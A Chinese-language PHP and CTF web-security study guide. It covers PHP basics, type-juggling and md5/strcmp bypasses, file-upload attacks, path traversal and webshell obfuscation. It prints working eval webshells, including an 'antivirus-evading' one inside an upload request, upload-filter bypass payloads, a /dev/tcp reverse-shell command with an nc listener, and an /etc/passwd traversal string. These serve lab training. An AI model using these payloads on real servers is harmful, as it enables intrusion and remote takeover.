php study 简要学习(一)

PHP

PHP(Hypertext Preprocessor),是一种创建动态交互性站点的服务器端脚本语言(后端语言),在CTF中常作为后端服务器语言出现。

基本语言特性

  1. 可以嵌入html

    <!DOCTYPE html>
    <html>
    <body>
    
    <h1>My first PHP page</h1>
    
    <?php
    echo "Hello World!";
    ?>
    
    </body>
    </html>
    
  2. 单行注释://

    多行注释: /**/

  3. 基本语言结构:

    1. <?php 标签为开头,后续的内容会被解释为php代码,?> 会作为PHP代码的结束符
    2. 语句结尾需要分号 ;
  4. 变量形式:$parm 第一次使用即创建,变量名区分大小写

    可变变量:用变量值来表示变量名:

    <?php
        $a = "b";
    	$b = "123";
    	echo $$a;
    // 123
    
  5. 字符串:

    <?php	// ord("0") == 48
    	$a = "\60";		// $a == "0"
    	$a = "\x30";	// $a == "0"
    

    双引号支持解析变量和所有转义字符:

    <?php	
    	$a = "festu";
    	echo "\"$a\" is a nickname";
    // echo "\$";
    

    单引号不支持解析变量,转义只支持两类:\\\'

    <?php
    	echo '\'\$\' wants to escape in single quote.';
    
  6. 数组

    索引数组,声明时未指定键名,下标从0开始递增:

    <?php
        $ar = array(1,2);
    	var_dump($ar);
    // array(2) { [0]=> int(1) [1]=> int(2) }
    

    关系数组,声明时指定键名:

    <?php
    	$ar = array(
    		"name" => "festu",
    		"email" => "abc@163.com"
    	);
    	var_dump($ar);
    // array(2) { ["name"]=> string(5) "festu" ["email"]=> string(11) "abc@163.com" }
    
  7. 运算符

    • 字符连接.

      $parm = "abc"."ctf"
      // $parm = "abcctf"'
      
    • 比较运算

    • == 等于运算符,弱比较运算

      === 全等于运算符,强比较运算

      具体特性与利用后面介绍

    • PHP7特有的组合比较符 <=> ,可用于比较整数、浮点数、字符串的大小:

      $c = $a <=> $b;
      

      以整数为例:

      <?php
      echo 1 <=> 1; // 0
      echo 1 <=> 2; // -1
      echo 2 <=> 1; // 1
      ?>
      
    • 逻辑运算符

      echo $a and $b;	// 逻辑与
      echo $a && $b;
      echo $a or $b: // 逻辑或
      echo $a || $b;	
      echo $a xor $b: // 异或
      echo !$a;	// 逻辑非
      
  8. phpinfo() 输出有关PHP配置的信息:phpinfo

    输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP 环境变量、操作系统版本信息、path 变量和PHP授权信息等

    我们可以通过编辑 php.ini 文件来修改PHP的配置

来自PHP之外的变量

PHP可以接收来自外部Get或Post请求携带的参数, 例如利用HTML表单:

<!-- eg.1/index.html -->
<form action="recv.php" method="GET">
    Name:  <input type="text" name="username"><br />
    Email: <input type="text" name="email"><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

我们使用 $_GET['username'] 来接受 username 参数。$_GET$_POST 是存储外部变量的两个关系数组,分别存放两种方法传入的参数,var_dump() 函数可以详细查看PHP变量的信息,打印一下看看,示例1

<?php	// eg1/recv.php
    if(isset($_GET['username'])){
        echo "username: ".$_GET['username']."</br>";
    }
    if(isset($_GET['email'])){
        echo "email: ".$_GET['email']."</br>";
    }
    echo "查看\$_GET的内容: ";
    var_dump($_GET);

这两个数组变量被称为系统变量,他们是 PHP 的内置变量,且在全部作用域中始终可用,系统变量:

$GLOBALS	// 引用全局作用域中可用的全部变量
$_POST	// 获取 post 数据,是一个字典
$_GET	// 获取 get 数据,是一个字典
$_COOKIE	// 获取 cookie
$_SESSION	// 获取 session
$_FILES	// 获取上传的文件
$_REQUEST	// 获取 $_GET,$_POST,$_COOKIE 中的数据
$_ENV	// 环境变量
$_SERVER	// 服务器和执行环境信息

你也可以上传一个数组变量,例如传入一个 ?username[]=festu&emai['value']=abc@163.com

<?php	// eg1/vd.php
    var_dump($_GET['username']);
    echo "</br>";
    var_dump($_GET['email']);
/* -> 
array(1) { [0]=> string(5) "festu" }
array(1) { ["'value'"]=> string(3) "bac" }

变量名中的点

通常,PHP 不会改变传递给脚本中的变量名。然而应该注意到点(.)不是 PHP 变量名中的合法字符。至于原因,看看:

<?php $varname.ext;  /* 非法变量名 */?>

这时,解析器看到是一个名为 $varname 的变量,后面跟着一个字符串连接运算符,后面跟着一个裸字符串(即没有加引号的字符串,且不匹配任何已知的健名或保留字)‘ext’。很明显这不是想要的结果。

出于此原因,要注意 PHP 将会自动将变量名中的点替换成下划线。

例如:

?user.name=festu
-> $_GET['user_name']="festu"

但是在PHP=8.0之前,我们可以利用 [ 来传入一些非法的参数名。

[ 本身也是一个非法字符,作为参数名传入时会被替换为下划线,但它会导致PHP发生转换错误,使得接下来的非法字符不再被替换为下划线,举个例子:

?CTF[user.name.first=Setyou
-> $_GET['CTF_user.name.first']="Setyou"

弱类型比较

PHP是一种弱类型语言,它对变量的类型限制较少,你可以对一个变量赋予任何类型的值而不用担心发生冲突:

<?php
	$parm = 1;
	$parm = "string";
比较操作符 =====

== 在比较时会先转化两侧变量的类型,再进行比较。

1.字符串与数值(整数、浮点数)比较时,字符串会先被转换为数值类型:

<?php
	echo 123 == "123abc";	// true, "123abc" -> 123
	echo 123 == "abc123";	// false, "abc123" -> 0
	echo 0 == "abc123";		// true
	echo 123 == "12abc3";	// false, "12abc3" -> 12

2.整数与浮点数比较,整数类型会被转化为浮点数再作比较:

<?php
	echo 1.0 == 1;	// true
	echo 2.0 == 2;	// true
	echo 0.0 == 0;	// true
	echo 2.1 == 2;	// false

布尔值参与弱类型比较:

<?php
    // 布尔值 true 与字符串
	echo true == "abc";	// true
	echo true == "123";	// true
	echo true == "abc123";	// true
	echo true == "0";	// false
	//	布尔值 true 与数值
	echo true == 123;	// true
	echo true == 1.23;	// true
	echo true == 0;	// false
	// false 特性与 true 正好相反

有一个比较特殊的是部分函数报错返回时会返回NULL:

<?php
	NULL == 0;
	NULL == false;
	NULL == "0";

=== 在比较时会先比较两侧变量的类型是否相同,再比较变量值是否相同。因此:

<?php
	echo 123 === "123abc";	// false
	echo 0 === "abc123";	// false
	echo 1.0 === 1;	// false
	echo 2.0 === 2;	// false
	echo 0.0 === 0;	// false
字符串与数值类型的转换

显示类型转换:

<?php
    // str -> int
	$str = (string)123;	// "123"
	$str = strval(123);	// "123"
	// int -> str
	$num = intval("123");	// 123
	$num = intval("456abc");	// 456
	$num = intval("2.45");	// 2

隐式类型转换发生在如下场景:

  1. 字符串与数值类型进行算术运算
  2. 字符串与数值类型进行不严格比较

具体的转换规则如下:

  • 如果一个字符串为 “合法数字+e+合法数字”类型,将会解释为科学计数法的浮点数

    <?php
    	echo 1 + "2e3";	// 2001
    
  • 如果一个字符串为 “合法数字+ 不可解释为合法数字的字符串”类型,将会被转换为该合法数字的值,后面的字符串将会被丢弃

    <?php
    	echo 1 + "2e3ABCD";	// 2001
    
  • 如果一个字符串为“不可解释为合法数字的字符串+任意”类型,则被转换为0

特殊情况:

<?php
echo "0e23" == "0.0E45";	// true
echo "0" == "0e23";	// true

当一个字符串满足常规数值类型的格式,例如 0, 1.23, 345, 0x123 ,或者只包含了 .eE 中的一个或多个,且满足科学计数法的浮点数的格式,例如 2.2e3 ,就会被定义为数字字符串,两个数字字符串作弱比较运算时,会先被转化为数值类型再比较。

十六进制字符串的转换特点:

<?php
	"0xff" == 255; //true
	"0xff" == "255"; //true
    0xff == 255;	// true

示例2

<?php	// eg2/index.php
    if(isset($_GET['u'])){
        $u = $_GET['u'];
        var_dump($u);
        if(!is_numeric($u)){
            if($u > 233){
                echo "</br>pass!";
            }
        }
    } else {
        echo "are u bigger than 233?";
    }

is_numeric() 检查变量是否为数值类型或者数字字符串。

  1. 利用类型转换:

    ?u=234abc
    
  2. 利用十六进制:

    ?u=0x233	// 0x233 === 563
    

示例3

<?php	// eg3/index.php
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        $logined = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$logined = false;}
        if (!is_numeric($v2) ) {$logined = false;}
        if (md5($v1) != md5($v2)) {$logined = false;}

        if ($logined){
			echo "login OK!";
            // continuue to do other things
        } else {
            echo "login failed";
        }
    } else {
        echo "v1? v2? get?";
    }

isset() 函数检查变量是否被创建。ctype_alpha() 函数检查变量中是否为只有大小写字母的字符串。is_numeric() 函数检查变量是否为数值类型或者数字字符串。md5() 会计算目标字符串的md5散列值,一般而言,不同字符串的md5散列值是一定不同的。

string md5 ( string $str [, bool $raw_output = false ] )

str原始字符串。raw_output如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回,否则返回32位的16进制码

md5加密的结果是内容为十六进制的字符串,字母e是合法的,理论上我们可以构造出形如 "0e"+数字字符 的结果,让字符串被识别为科学技术法下的浮点数:

<?php
md5('240610708') 
// "0e462097431906509019562988736854"
md5('QNKCDZO')
// "0e830400451993494058024219903391"
echo "0e462097431906509019562988736854" == "0e830400451993494058024219903391"; // true

遇到 == ,两个字符串首先被检查是否为"数字字符串",两个都被识别为科学计数法,且都是0乘上一个很大的数,结果都为0。

最终payload:?v1=QNKCDZO&v2=240610708


MD5的绕过技巧
  1. 利用md5()函数结果的字符集特性,构造使用科学技术法的浮点数字符串,利用形如 0e123456 的字符串绕过检测。

  2. 利用数组类型的变量绕过检测:

    <?php
    	$parm1 = array(1);
    	$parm2 = array(2);
    	var_dump(md5($parm1) == md5($parm2));
    	var_dump(md5($parm1) === md5($parm2));
    /*
    Warning: md5() expects parameter 1 to be string, array given...
    bool(true) bool(true)
    

    md5()只接受字符串,接收到数组会出错并返回NULL,两边都为NULL就相等了,因此它也满足严格等于。

    Tips:这一特性同样适用于 sha1() 函数,这是另一个计算字符串散列值的函数,感兴趣的可以自行了解

  3. md5碰撞,使用工具fastcoll生成两个 **md5散列值相同 **但 内容不同 的文件。

    生成两个md5碰撞的文件"test_msg1.txt"与"test_msg2.txt",读取并比较其中的内容,示例四

    <?php  // eg4/index.php
        $test_msg1 = file_get_contents("../fastcoll/test_msg1.txt");
        $test_msg2 = file_get_contents("../fastcoll/test_msg2.txt");
        echo "urlencoded file1: ";
        var_dump(urlencode($test_msg1));
        echo "<br>urlencoded file2: ";
        var_dump(urlencode($test_msg2));
        echo "<br>md5 of file1: ".md5($test_msg1);
        echo "<br>md5 of file2: ".md5($test_msg2);
        echo "<br>file1 == file2 ? ";
        var_dump($test_msg1 == $test_msg2);
    /* ->
    urlencoded file1: string(496) "festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+%B1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1A%E6%BEn%1C%DB%D57%13%2AtS%FE%9D%DCmd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%19-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%8C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%1CL%DA%08%E2"
    urlencoded file2: string(494) "festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1Af%BFn%1C%DB%D57%13%2AtS%FE%9D%DC%EDd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%99-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%0C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%9CL%DA%08%E2"
    md5 of file1: 39016299dc35d9ef80d75ef9fa8b52e4
    md5 of file2: 39016299dc35d9ef80d75ef9fa8b52e4
    file1 == file2 ? bool(false)
    

示例5

<?php	// eg5/index.php
	if(isset($_POST['a']) and isset($_POST['b'])){
		$a = $_POST['a'];
        $b = $_POST['b'];
        if((string)$a != (string)$b and md5($a) === md5($b)){
            echo "pass!";
        } else {
            echo "no!";
        }
	} else {
        echo "Please post me \"a\" and \"b\" to get Pass!";
    }
  1. 传入数组:?a[]=1&b[]=2

    (string)$a => "Array"
    
  2. 构造带e浮点数:a=240610708&b=QNKCDZO

    "0e462097431906509019562988736854" == "0e830400451993494058024219903391" // true
    "0e462097431906509019562988736854" === "0e830400451993494058024219903391" // false
    
  3. md5碰撞:

    a=festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+%B1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1A%E6%BEn%1C%DB%D57%13%2AtS%FE%9D%DCmd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%19-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%8C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%1CL%DA%08%E2&b=festu%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D5%BBQ%C3%2F%7E%CC%97%EE%A4e%04%A4ore%E0P+1%1D%7B%24%98+%AE%40%9A%F4%09%AE%B6K%AA%0C%CE%5E%CF%DF%1Do+%DC%19%1Af%BFn%1C%DB%D57%13%2AtS%FE%9D%DC%EDd%23_%93%D9%9F%96%1E%C8L%9B%C1%3D%03%3F%F0y%EAO%E2%2C%BE%FB%99-%86Ff%C9Z%FEK%EC%06%FE%EB%EE%7CFT%F4%CF%07%8Ej%8Alw%B9%0C%0Am%F1c%B9%BA%A5%FCK%EC%86%A1%5C%9CL%DA%08%E2&
    
    1. hackbar无法解析特殊字符,因此要发送原始数据 “urlencoded (raw)”
    2. hackbar在发送数据时会自动在最后添加一个换行符 \n ,若不做处理会污染参数 b 的值,因此添加一个分隔符 &
strcmp()漏洞

strcmp(string $string1, string $string2) 用于比较传入字符串的大小关系:

参数

  • string1

    第一个字符串。

  • string2

    第二个字符串。

返回值

如果 string1 小于 string2 返回 -1;如果 string1 大于 string2 返回 1;如果两者相等,返回 0

在PHP>5.3,向 strcmp() 函数中传入 数组,类,函数 会导致该函数出错,但它不会抛出Error或终端程序,只会返回 NULL,可以利用这一特性绕过一些waf。

示例6

<?php	// eg6/index.php php>5.3
	if(isset($_GET['key'])){
        $key = "this_is_secret_key";
        echo "</br>Trying to verify your identity...";
        if(strcmp($key, $_GET['key']) == 0){
            echo "</br>pass.";
        } else {
            echo "</br>no!";
        }
    } else {
        echo "Get me your key";
    }

传入 ?key[]=111

Trying to verify your identity...
Warning: strcmp() expects parameter 2 to be string, array given in F:\phpstudy_pro\WWW\lessons\eg6\index.php on line 5

pass.

示例7

<?php   // eg7/index.php
function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {  
            $digit = ord($number[$i]);
            if ( ($digit >= $one) && ($digit <= $nine) )
            {
                return false;
            }
        }
        return $number == '54975581388';
}
$flag='secret get!';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo '你听说过海克斯科技吗?';
?>

JSON 是一种轻量级的文本数据交换格式,它的含义是 JavaScript 对象表示法(JavaScript Object Notation),即 JavaScript 标准下对象的数据表示格式

例如:

{
	"key": "value",
	"arr": [
		1, 2
	],
	"obj": {
		"subKey": "subValue"
	}
}

JSON的格式要求:

  1. 键必须用双引号括起
  2. 不同键值对用逗号分隔
  3. 键值对内部用冒号分隔键与值
  4. 数组用中括号,对象用大括号

php 中可以使用 json_decode() 函数解析 JSON 字符串,将其转化为 php 中的对象。

直接使用 GET 与 POST 传递参数时,所有参数无需引号包裹,都会被识别为字符串;而利用 JSON 的解析规则,我们可以传入其他类型的参数。

示例8

<?php   // eg8/index.php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="this_is_secret_key";
    if ($message->key == $key) {
        echo "success!";
    }
    else {
        echo "fail!";
    }
}
else{
    echo "how to post message? what is json? where is flag?";
}
?>

利用 "a" == 0 的特点,我们向 Key 中传入数值 0 即可在不知道密钥 key 的具体内容的情况下,绕过 $message->key == $key 的检测,构造 JSON:

{
	"key": 0
}
Switch-Case

php的Switch-Case语句块中也有弱类型比较的漏洞,例如:

<?php
    $a= "3name";
    switch($a){
        case "3":
            echo "wow";
            break;
        case 3:
            echo "hey";
            break;
        default:
            echo "emm";
    }
// -> hey

实际上我们可以用 if($a == $n) 等价替换 case $N 语句。Case的判断逻辑实际上就是做了一次弱类型比较,因此它满足上述所有弱类型比较的特性。例如 $a 是字符串,而 case 后跟着数值时,字符串首先被转化为数值类型,再进行比较,因此 "3name" == 3 是成立的,php最终输出的是"hey"。


array_search与in_array

Switch-Case 结构类似,array_searchin_array 函数内部也有若比较匹配问题。

array_search(value, array, stricted = false) 该函数用于在数组中寻找值所对应的键名,第三个参数为false时函数内部使用 == 来匹配。

in_array(value, array, stricted = false) 该函数判断值value是否在数组中存在,同样内部默认使用 ==

例如:

$test = [
    1,2,3,0,"admin"
];
var_dump(array_search("admin", $test));

由于 0 == "admin" ,且该函数匹配第一个找到的位置,因此最后输出3

文件上传

文件上传是一种很常见的功能,你经常能在网站上找到如 上传头像、上传文章、上传用户文件 等功能。通过上传恶意木马文件,我们能够渗透进目标服务器。

一句话木马

<?php @eval($_GET['key']);	// 

eval(string $code) 将传入的字符串当做 PHP 代码解析并执行。

system(string $code) 用系统默认 shell 执行传入的 shell 命令

例如传入 ?key=system("dir");

<?php @eval("system(\"dir\")");

免杀 PHP 木马:

<?php   // backdoor/webshell.php
class Test{
    public $config='';
    function __destruct(){
        @eval($this->config);
    }
}
$test=new Test();
@$test->config=$_GET['cmd'];
?>

分类

文件上传可利用的两个条件:

  1. 文件上传后保存的路径可知
  2. 可上传特定类型的文件
  3. 上传的文件含有敏感内容

从限制上传文件类型的角度考虑,有多种过滤方式来构造防火墙:

靶场:CTFHub-文件上传

  1. 无验证、过滤

    直接上传木马文件。

  2. 前端验证

    服务器通过前端 JavaScript 来控制上传文件的类型,例如设置文件后缀名的黑名单或白名单。

    1. 通过 JavaScript 断点调试来绕过验证

    2. 在浏览器设置中禁用 JavaScript 来阻止 JS 运行,但有些网站会设置 <noscript> 来限制禁用了JS的浏览器使用其服务

      Chrome:设置->隐私与安全->网站设置->JavaScript->不允许网站使用 JavaScript

  3. .htaccess 可覆盖

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、改变服务器对特定扩展名文件的解析方式(将 .jpg 文件解析为 .php

    要启用 .htaccess 需要修改Apache的配置文件"httpd.conf",启用"AllowOverride"选项:

    <Directory />
    Options FollowSymLinks
    AllowOverride ALL
    </Directory>
    

    通过配置 .htaccess 可以更改服务器的访问规则,例如以下配置可以将所有包含 .jpg 的文件被当做php源码解析:

    <FilesMatch "\.jpg">
      SetHandler application/x-httpd-php
    </FilesMatch>
    
  4. MIME绕过

    MIME类型又称"多用途互联网邮件扩展"或"媒体类型",它是一种标准,用来表示文档、文件或一组数据的性质和格式。

    MIME类型通常仅包含两个部分:类型(type)和子类型(subtype),中间由斜杠 "/"分割:

    text/html
    

    常见的MIME类型:

    text/plain: 未知用途的文本文件
    image/gif: gif
    image/jpeg: jpg/jpeg
    image/png: png
    image/webp: webp
    application/x-rar-compressed: RAR压缩文件
    application/octet-stream: 字节流,未知的应用程序文件
    --- POST时常用的数据类型
    multipart/form-data: 多部分的表单信息
    application/x-www-form-urlencoded: URL编码的表单信息
    application/json: JSON格式的数据
    

    一般情况下,前端进行POST请求时会根据场景发送不同类型的数据,通过设置 form 标签的 enctype 属性来规定数据类型:

    <form action="index.php" method="post" enctype="multipart/form-data">
    

    表单发送请求时会添加请求头 Content-Type: multipart/form-data 一般用于传输文件,一条传输 Form-Data 格式数据的HTTP请求如下:

    POST /ctfhub/MIME/index.php HTTP/1.1
    Host: 10.206.12.253:83
    Content-Length: 494
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://10.206.12.253:83
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLteEUrjao8yG5Xll
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://10.206.12.253:83/ctfhub/MIME/index.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    ------WebKitFormBoundaryLteEUrjao8yG5Xll
    Content-Disposition: form-data; name="file"; filename="webshell.php"
    Content-Type: application/octet-stream
    
    <?php   // backdoor/webshell.php
    class Test{
        public $config='';
        function __destruct(){
            @eval($this->config);
        }
    }
    $test=new Test();
    @$test->config=$_GET['cmd'];
    ?>
    
    
    ------WebKitFormBoundaryLteEUrjao8yG5Xll
    Content-Disposition: form-data; name="submit"
    
    Submit
    ------WebKitFormBoundaryLteEUrjao8yG5Xll--
    
    

    通过篡改 Content-Type 可以伪造文件类型,例如将 application/octet-stream 改为 image/gif

    感兴趣的可以了解一下:application/octet-stream

  5. 文件头检查

    常见图片文件头:

    89 50 4E 47: PNG
    FF D8 FF E0: JPG/JPEG
    47 49 46 38 39 61: GIF
    

    PNG的文件头有很多特殊字符,需要用十六进制编辑器输入

    GIF的文件头可以直接明文输入:

    GIF89a
    

    将文件头放在木马最前面,可以通过文件头的检测。php读取源码时会忽略这些字符。

    Tips:加上gif的文件头可能会让杀毒软件报毒

  6. 00截断:

    漏洞条件:php<5.3.29 且在"php.ini-dist"中打开:magic_quotes_gpc = off ,这个配置如果打开,php会检测通过请求传入的外部参数,为其中的特殊字符添加转义。

    原理:操作系统会将空字符 \00x00 识别为结束符,php在写入文件时会向系统传入文件的存储路径,如果在操作路径中混有空字符 \0 则后面的路径会被截断。

    例如以下源码将外部参数"save_path"动态拼接至文件的保存路径,示例9

    <?php   // eg9/index.php
        if(isset($_POST['submit'])){
            $file_name = explode(".", $_FILES['upload_file']['name']);
            $save_path = dirname(__FILE__)."/".$_GET['save_path']."/".$file_name[0].".txt";
            if(move_uploaded_file($_FILES['upload_file']["tmp_name"], $save_path)){
                echo "上传成功";
            } else {
                echo "上传失败";
            }
        }
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Upload-Demo</title>
    </head>
    <body>
        <form action="index.php?save_path=upload" enctype="multipart/form-data" method="post">
            <input type="file" name="upload_file"/>
            </br>
            <input type="submit" name="submit" value="Submit">
        </form>   
    </body>
    </html>
    

    假设传入 ?save_path=upload ,那么拼接所得路径为 parent_dir/upload/file_name.txt

    如果传入 ?save_path=upload/webshell.php%00 ,那么拼接所得路径为 parent_dir/upload/webshell.php\0/file_name.txt 。操作系统存储文件时读到 \0 就结束,因此文件最后会被保存为 parent_dir/upload/webshell.php ,与上传的文件名 file_name 没有任何关系。

  7. 防火墙绕过

    当以检索字符串内容的形式限制传入内容时,防火墙通常会有两种形式:黑名单与白名单。黑名单限制哪些关键词不能通过waf,其他的内容都能通过,例如 不允许上传以php, jsp, asp为后缀的文件 ;白名单限制只有哪些关键词能通过waf,其他的内容都不能通过,例如 只允许上传以jpg, gif, png为后缀的文件

    黑名单的绕过:

    防火墙过滤敏感词时,可能会将关键词替换为空,例如:

    <?php
        $file_name = explode(".", $_GET['name']);
        $file_name[1] = str_replace("php", "", $file_name[1]);
    	echo implode(".", $file_name);
    

    如果我们传入 ?input=abc.php ,会得到 abc.

    我们可以用大小写绕过: ?input=abc.pHp

    于是防火墙更新:

    <?php
        $file_name = explode(".", $_GET['name']);
        $file_name[1] = preg_replace("/php/i", "", $file_name[1]);
    	echo implode(".", $file_name);
    

    我们可以复写关键词绕过:?input=abc.pphphp ,会得到 abc.php

    于是防火墙再次更新,正则会将匹配到的所有"php"替换,示例10

    <?php	// eg10/index.php
        if(isset($_GET['name'])){
            $file_name = explode(".", $_GET['name']);
            while(preg_match("/php/i", $file_name[1])){
                $file_name[1] = preg_replace("/php/i", "", $file_name[1]);
            }
            echo implode(".", $file_name);
        } else {
            echo "get me a name.";
        }
    

    注意到防火墙只检测到了第一个后缀名,可以双写后缀名来绕过:?index.gif.php

    如果防火墙再次更新,将所有可能出现的 php 都过滤了,我们还可以尝试其他可用的php文件后缀:phtml, pht, php3, php4, php5 这些后缀能否被解析取决于服务器的配置。

木马利用

  1. 直接执行命令
  2. 反弹shell
  3. 蚁剑连接

命令执行

反弹shell与内网穿透

目标服务器将自己的交互shell发送给攻击端

攻击端需要监听特定端口,等待服务器访问并发送连接请求:

nc -lvp 279

Linux可以直接运行上述命令,Powershell中默认是没有nc的,需要下载 netcat for windows 。下载后在环境变量中配置 exe 文件所在的文件夹,然后在shell中测试 exe 文件能否运行,然后用该 exe 文件执行上述命令。


服务端需要将自己的交互式shell发送给攻击端,我们可以结合bash重定向与虚拟设备实现:

bash -c "bash -i >& /dev/tcp/2.3.4.5/279 0>&1"
命令含义
bash -c用bash这个shell执行后面的语句(sh不能调用/dev/tcp)
bash -i返回一个bash的交互式shell
>&将左侧的输出(标准输出)与右侧文件合并后重定向到右侧的文件中
/dev/tcp/ip/port虚拟设备文件,可以与指定ip的指定端口建立TCP连接
0>&1将标准输入与标准输出合并后,重定向给标准输出

下载贝锐花生壳,注册一个内网穿透的体验版账号,给自己的电脑映射一个IP,然后尝试反弹ctfhub靶场的shell或者虚拟机的shell。

在内网穿透页单击新增映射会进入管理后台,点击添加映射后如下图设置,外网域名点击下拉框选择给定的,内网主机输入自己电脑的局域网IP,端口自定义一个,建议数字大一点,不容易端口冲突

其他内容默认,确定后就能成功添加映射。如果在 Linux 上内网穿透此时应该可以直接尝试反弹shell,如果在windows上操作,还需要调整防火墙设置。首先在windows的网络设置中选中自己连接的网络,将其设置为专用网络(标记为可信任网络,测试完后记得恢复为公用网络)

然后进入windows的"防火墙和网络保护",进入高级设置,在入站规则中"新建规则",依次设置:

规则类型为端口
应用于TCP
应用于本地特定端口:<添加映射时填写的端口>
允许连接
允许"专用网络"

确认后添加成功,确保启用规则。此时可以尝试反弹shell。

Tips
  1. 有些杀毒软件会将其标记导致 netcat 的网络功能受限制,建议双击 exe 文件测试一下运行情况,如果是火绒此时会弹出危险警告,将 exe 文件从隔离区恢复并信任即可
  2. Windows防火墙设置可能需要重启后才生效

蚁剑使用

蚁剑只能连接POST访问的木马。

目录遍历

从网站提供的服务角度出发,有时网站会提供读取某些文件、图片的功能,并把读取的接口以某种方式暴露出来,例如在URL中、POST请求参数中、Cookie中等,例如示例11

<?php   // eg11/index.php 
	if(isset($_GET['file'])){
        $file = file_get_contents(dirname(__FILE__)."/".$_GET['file']);
        echo "<img src=\"data:image/png;base64,".base64_encode($file)."\" />";
    } else {
        $file = file_get_contents(dirname(__FILE__)."/"."Myhome.png");
        echo "<img src=\"data:image/png;base64,".base64_encode($file)."\" />";
    }

file_get_contents 函数可以读取特定文件的内容到变量中。读取图片的内容并将其base64编码后,放到img标签里显示。html中的img标签可以以下格式显示base64编码后的图片:

<img src="data:image/png;base64,...." />

这种形式的特点是,不论访问的文件是什么格式,内容都会被明文显示在前端;由于传入的文件路径被动态拼接至最终读取文件的路径中,因此我们可以传入 ?file=../../../secret.txt 来访问到 F:/phpstudy_pro/secret.txt

<img src="data:image/png;base64,c2VjcmV0IGluIEY6L3BocHN0dWR5X3Bybw==">
<!-- secret in F:/phpstudy_pro -->

在linux下通常会尝试访问 /etc/passwd 文件来验证目录遍历漏洞,例如 ?file=../../../../../../../../../../../../../../etc/passwd 。在根目录下访问上级目录,仍会访问到根目录:/../../../../ 等效于 / 。尽可能多的 ../ 来穿越可能存在的多层目录从而访问到根目录。

如果服务器限制了访问内容的后缀,可以使用00截断来绕过:?file=../../../secret.txt%00/abc.png

木马免杀

杀毒软件在查杀病毒时会检测代码的特征,例如调用的函数名、暴露的字符串、关键词的组合(eval($_GET['sth']))。

因此木马免杀的主要思路是混淆代码特征。

assert

assert(mixed: assertion) 断言检测。当括号内的表达式返回值为True(return == true)时,他就会执行表达式,否则它会抛出异常并中断程序。

几个重要函数的返回值:

phpinfo();	// 始终返回true
system();	//	如果命令执行成功返回输出的最后一行,失败则返回false
echo();		// 无返回值,即NULL

括号内的表达式可以是字符串形式:

<?php
	assert("phpinfo()");
	assert(phpinfo());
	assert($_GET['cmd']);

但是 assert 在PHP的版本更新中遭到了严重针对。在"PHP5"中它可以正常使用,在"PHP7>=7.2.0"与"PHP8",它不能执行字符串形式的表达式。

可变函数

在PHP中,如果尝试以调用函数的方式调用某个变量,PHP会自动寻找与变量值同名的函数并调用:

<?php
	$a = "phpinfo";
	$a();

但这个特性它不支持特定函数:

